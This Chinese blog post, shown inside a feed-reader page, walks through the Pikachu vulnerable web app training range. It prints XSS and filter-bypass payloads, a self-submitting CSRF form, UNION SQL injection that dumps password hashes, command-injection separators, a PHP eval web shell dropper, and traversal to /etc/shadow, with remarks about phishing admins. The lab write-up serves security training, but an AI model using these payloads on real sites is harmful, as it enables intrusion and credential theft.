惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

WordPress大学
WordPress大学
V
V2EX
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
Jina AI
Jina AI
小众软件
小众软件
量子位
博客园 - 三生石上(FineUI控件)
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
酷 壳 – CoolShell
酷 壳 – CoolShell
博客园 - Franky
博客园_首页
IT之家
IT之家
S
SegmentFault 最新的问题
博客园 - 叶小钗
阮一峰的网络日志
阮一峰的网络日志
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
博客园 - 聂微东
T
Tailwind CSS Blog
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
爱范儿
爱范儿
月光博客
月光博客
有赞技术团队
有赞技术团队
H
Help Net Security
云风的 BLOG
云风的 BLOG

Hi, I Am I

[I Am I 年度简报] — 不知终日梦为鱼 初探 ESP32-CAM QQ 聊天记录 MHT 文件转 HTML [I Am I 年度简报] - 草木本无意,荣枯自有时。 Hexo 中实现 Live Photos 支持 写在当下 NKCTF 2024 1z_F0r3ns1c5 Writeup 春秋杯冬季赛 2023 Writeup [I Am I 年度简报] - 2023 某内网渗透内部赛 Writeup 强网拟态 2023 Writeup Github Actions 自动化部署 Hexo 浅析CobaltStrike流量解密 陇剑杯 2023 Writeup CTF线下赛AWDP总结 ISCC 2023 Writeup ISCC 2023 实战题 Writeup CISCN 2023 Writeup 福建闽盾杯网络空间安全大赛 2023 Writeup 天一永安杯宁波市网络安全大赛 2023 Writeup 贵阳大数据及网络安全精英对抗赛 2023 Writeup 红明谷杯 2023 Writeup Confetti 带来有仪式感的鼓励 记一次 JS 逆向密码加密 [I Am I 年度简报] – 2022 PHP 读取 Excel 文件内容并写入数据库 从0开始的 MoeCTF 开发之路 观安杯 2022 Writeup 利用微信服务号实现早安自动化 Cloudflare批量拉黑IP脚本
Pikachu 漏洞平台通关记录
2021-05-07 · via Hi, I Am I

Pikachu 是一个带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞。 如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习,那么Pikachu可能正合你意。

暴力破解

基于表单

burp 抓包使用 Clusterbomb 类型爆破

图片

验证码绕过(on server)

抓包请求后发现 只要页面不刷新 验证码就不会改变 爆破方法同上

图片

验证码绕过(on client)

验证码是 js 前端校验 直接抓包 无视 js

图片

token绕过

攻击类型选择:音叉

图片

打开Intruder->Options设置如下参数

请求线程数选择:1

图片

图片

重定向选择:总是

图片

Payloads 里面选择 递归搜索

图片

图片

Cross-Site Scripting

反射性xss(get)

发现有 20 个字符限制,直接改为 100 即可

图片

题目是 get 看了下 url 发现提交的参数在 url 后面直接在 url 后面补全也行。

图片

反射性xss(post)

这题对着框搞了半天 看了下提示才知道需要先登录,账号密码还是 admin / 123456

登录后直接输入payload:<script>alert(1)</script>

图片

存储型xss

payload:<script>alert(1)</script>

存储型主要是 你提交的代码会存到数据库中,有用户访问这个页面就会从数据库提取出 xss数据 所以会弹框 可以搭配一些 xss在线平台 找一些有存储型xss漏洞的网站钓管理员 cookies

DOM型xss

提交 payload 后出现一个 what do you see? 点击后 403

图片

f12 可以看到我们提交的数据变成了超链接

图片

看下 js 代码

<script>
  function domxss(){
  	var str = document.getElementById("text").value;
  	document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
  	}
</script>

直接闭合使用 onclick 弹出

图片

' onclick="alert(1)">
'><img src='' onerror=alert("1")> 

DOM型xss-x

<script>
	function domxss(){
	var str = window.location.search;
	var txss = decodeURIComponent(str.split("text=")[1]);
	var xss = txss.replace(/\+/g,' ');
	document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
	}
</script>

这题加了个正则替换把 空格 替换成了 + 号,payload 同上

' onclick="alert(1)">
'><img src='' onerror=alert("1")> 

xss盲打

盲打就是在一切能插入的地方插入 xss 代码

看了下提示 需要登录后台,xss 插入成功

payload:<script>alert(1)</script>

图片

图片

xss过滤

输入 <script>alert(1)</script>

图片

输入 alert(1) 输入 123 返回 了别说这些'123'的话,不要怕,就是干!

图片

应该是过滤了 <script>*</scipt

大小写混写直接绕过

图片

试了下其他方法也绕过了 更加确信过滤了 <script>*</scipt

图片

<scriPt>alert(1) </scriPt>
<img src=x onerror=alert("1")> 

xss之htmlspecialchars

htmlspecialchars:将 特殊字符 转换为 HTML 实体

字符替换后
&(& 符号)&
“(双引号)“,除非设置了ENT_NOQUOTES**
‘(单引号)设置了ENT_QUOTES后,(如果是ENT_HTML401) ,或者’(如果是ENT_XML1、ENT_XHTML或ENT_HTML5**)。
<(小于)<
>(大于)>

htmlspecialchars 默认不对 单引号 继续进行转换

图片

' onclick='alert(1)'>

xss之href输出

javascript: alert(1);
// 这段代码前端开发还是挺常用的 javascript:;

图片

xss之js输出

找到了这段 js 直接闭合

图片

'; alert(1);//

图片

CSRF

CSRF(get)

点击提示给了一些账号密码,随便登录一个(我登录的 vince )点击修改信息,看看请求信息。

图片

图片

我们发现是 get 请求 提交了些参数 构造一下发给其他人

csrf_get_edit.php?sex=boy&phonenum=12345678910&add=chain&email=hacker%40pikachu.com&submit=submit

方便区分 我用 无痕模式 登录 allen 用户

图片

然后访问我们构造的链接,可以看到信息变了

图片

现实中可以 用图片或者超链接来诱骗点击。

CSRF(post)

和上一关一样 只不过 get 变成了 post

sex=boy&phonenum=18626545453&add=chain&email=vince%40pikachu.com&submit=submit

图片

我们构造一下

sex=boy&phonenum=11111111111&add=攻击成功&email=vince%40pikachu.com&submit=submit

写个 html 自动提交的表单 实际中还可以提交完自动跳转,降低受害者警觉

<script>
setTimeout(function() {
         document.getElementById("submit").click();
}, 1000);//延迟1秒
</script>
<form action="http://pikachu.la/vul/csrf/csrfpost/csrf_post_edit.php" method="post">
    <p class="per_name">姓名:allen</p>
    <p class="per_sex">性别:<input type="text" name="sex" value="boy"></p>
    <p class="per_phone">手机:<input class="phonenum" type="text" name="phonenum" value="2222222222"></p>    
    <p class="per_add">住址:<input class="add" type="text" name="add" value="攻击成功"></p
    <p class="per_email">邮箱:<input class="email" type="text" name="email" value="vince@pikachu.com"></p
    <input class="sub" type="submit" name="submit" id="submit" value="submit">
</form>

图片

CSRF Token

修改信息新加了 动态Token 有个骚操作 但是存在 跨域问题 所以做不出

图片

Sql Inject

数字型注入(post)

直接 burp 抓包用 重发器

图片

查字段:1 order by 2
查字段:1 order by 3 #报错,所以只有两个字段
查当前库名:-1 union select 1,database()
查所有库名:-1 union select 1,group_concat(schema_name) from information_schema.schemata
查表名:-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
查字段:-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'
查值:-1 union select 1,group_concat(password) from pikachu.users 

字符型注入

查字段:1' order by 2 #
查当前库名:-1' union select 1,database() #
查所有库名:-1' union select 1,group_concat(schema_name) from information_schema.schemata #
查表名:-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
查字段:-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
查值:-1' union select 1,group_concat(password) from pikachu.users #

搜索型注入

查字段:a%' order by 3 #
查当前库名:a%' union select 1,2,database() #
查所有库名:a%' union select 1,2,group_concat(schema_name) from information_schema.schemata #
查表名:a%' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #
查字段:a%' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' #
查值:a%' union select 1,2,group_concat(password) from pikachu.users #

xx型注入

查字段:1') order by 2 #
查当前库名:1'union select 1,database() #
查所有库名:1') union select 1,group_concat(schema_name) from information_schema.schemata #
查表名:1'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
查字段:1') union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
查值:1'union select 1,group_concat(password) from pikachu.users #

RCE

exec “ping”

命令拼接符

windows
|管道符,前面命令标准输出,后面命令的标准输入
&A & B 先运行命令A然后运行命令B
||A || B 运行命令A,如果失败则运行命令B
&&A && B 运行命令A,如果成功则运行命令B

linux
|管道符,前面命令标准输出,后面命令的标准输入
&A & B 先运行命令A然后运行命令B
||A || B 运行命令A,如果失败则运行命令B
&&A && B 运行命令A,如果成功则运行命令B
;A;B 执行完A执行B
%0a换行符
%0d回车符

图片

可以直接用 cmd 新建用户之类的

exec “evel”

PHP命令执行函数

system()、exec()、shell_exec()、passthru()、pcntl_exec()、popen()、proc_popen()

图片

File Inclusion

File Inclusion(local)

if(isset($_GET['submit']) && $_GET['filename']!=null){
    $filename=$_GET['filename'];
    include "include/$filename";
}

isset 检测变量是否存在,然后同时 filename 不为空,GET 后直接包含进了 include。 直接修改 filename 参数即可

图片

File Inclusion(remote)

PHP的配置选项 allow_url_includeON 的话,则 include / require 函数可以 加载远程文件

这个远程文件包含和上面的本地文件包含代码一样,同样没做安全限制

txt写段代码,然后使用远程包含漏洞可以自动创建一句话php文件

<?php
  $shell = "<?php @eval(@\$_POST['cmd']); ?>";
  file_put_contents('./shell.php',$shell);
?>

请求之后发现页面没报错 同时目录下新建了个 shell.php,同时一句话也写入了

图片

图片

Unsafe Filedownload

Unsafe Filedownload

可以构造一下下载的文件通过 ../../ 控制目录,例如:

http://pikachu.la/vul/unsafedownload/execdownload.php?filename=../../../README.md

如果是 linux 的话还可以下载 /etc/passwd/etc/shadow

Unsafe Fileupload

之前做过upload-labshttps://5ime.cn/upload-labs.html

client check

上传了一个 php 文件 弹窗警告 感觉应该是 js前端校验

图片

禁用 js 会后上传成功

图片

MIME type

上传 php 出现提示文字

图片

直接 burp 抓包修改 content-Type 绕过

图片

getimagesize

这关直接参考我之前的文章

生成图片马:https://5ime.cn/upload-labs.html#%E7%AC%AC14%E5%85%B3

getimagesize 绕过参考我以前的文章:https://5ime.cn/upload-labs.html#%E7%AC%AC15%E5%85%B3

Over Permission

水平越权

A用户和B用户属于同一级别用户,但各自不能操作对方个人信息。A用户如果越权操作B用户个人信息的情况称为水平越权操作。

图片

修改 username 的参数值 即可查看其他用户的信息

图片

垂直越权

A用户权限高于B用户,B用户越权操作A用户的权限的情况称为垂直越权。

我们浏览器登录 admin 用户 复制添加用户的 url 地址 使用无痕窗口登录普通用户 pikachu,访问刚才复制的添加用户的 url 地址。此时普通用户也可以正常访问(未授权访问) 点击创建后跳转到了登录页面

图片

图片

此时我们用 admin 查看用户列表 发现刚才我们使用 pikachu 新建的用户增加成功了。

图片

../../

目录遍历

图片

如果是 linux 还可以遍历 /etc/shadow/etc/passwd

敏感信息泄露

IcanseeyourABC

直接在 注释 找到了 账号密码

图片

URL重定向

不安全的URL跳转

f12 看到 第三个 有个 参数 我们直接构造

http://pikachu.la/vul/urlredirect/urlredirect.php?url=https://www.baidu.com&fileGuid=PrrVr3dprrQvVT6Q

图片

发现网页跳转到了百度

图片

这种漏洞用来钓鱼挺不错)

SSRF

SSRF(curl)

我们直接构造

http://pikachu.la/vul/ssrf/ssrf_curl.php?url=https://www.baidu.com&fileGuid=PrrVr3dprrQvVT6Q

图片

或者用 file协议

图片

或者 端口

图片

SSRF(file_get_content)

同上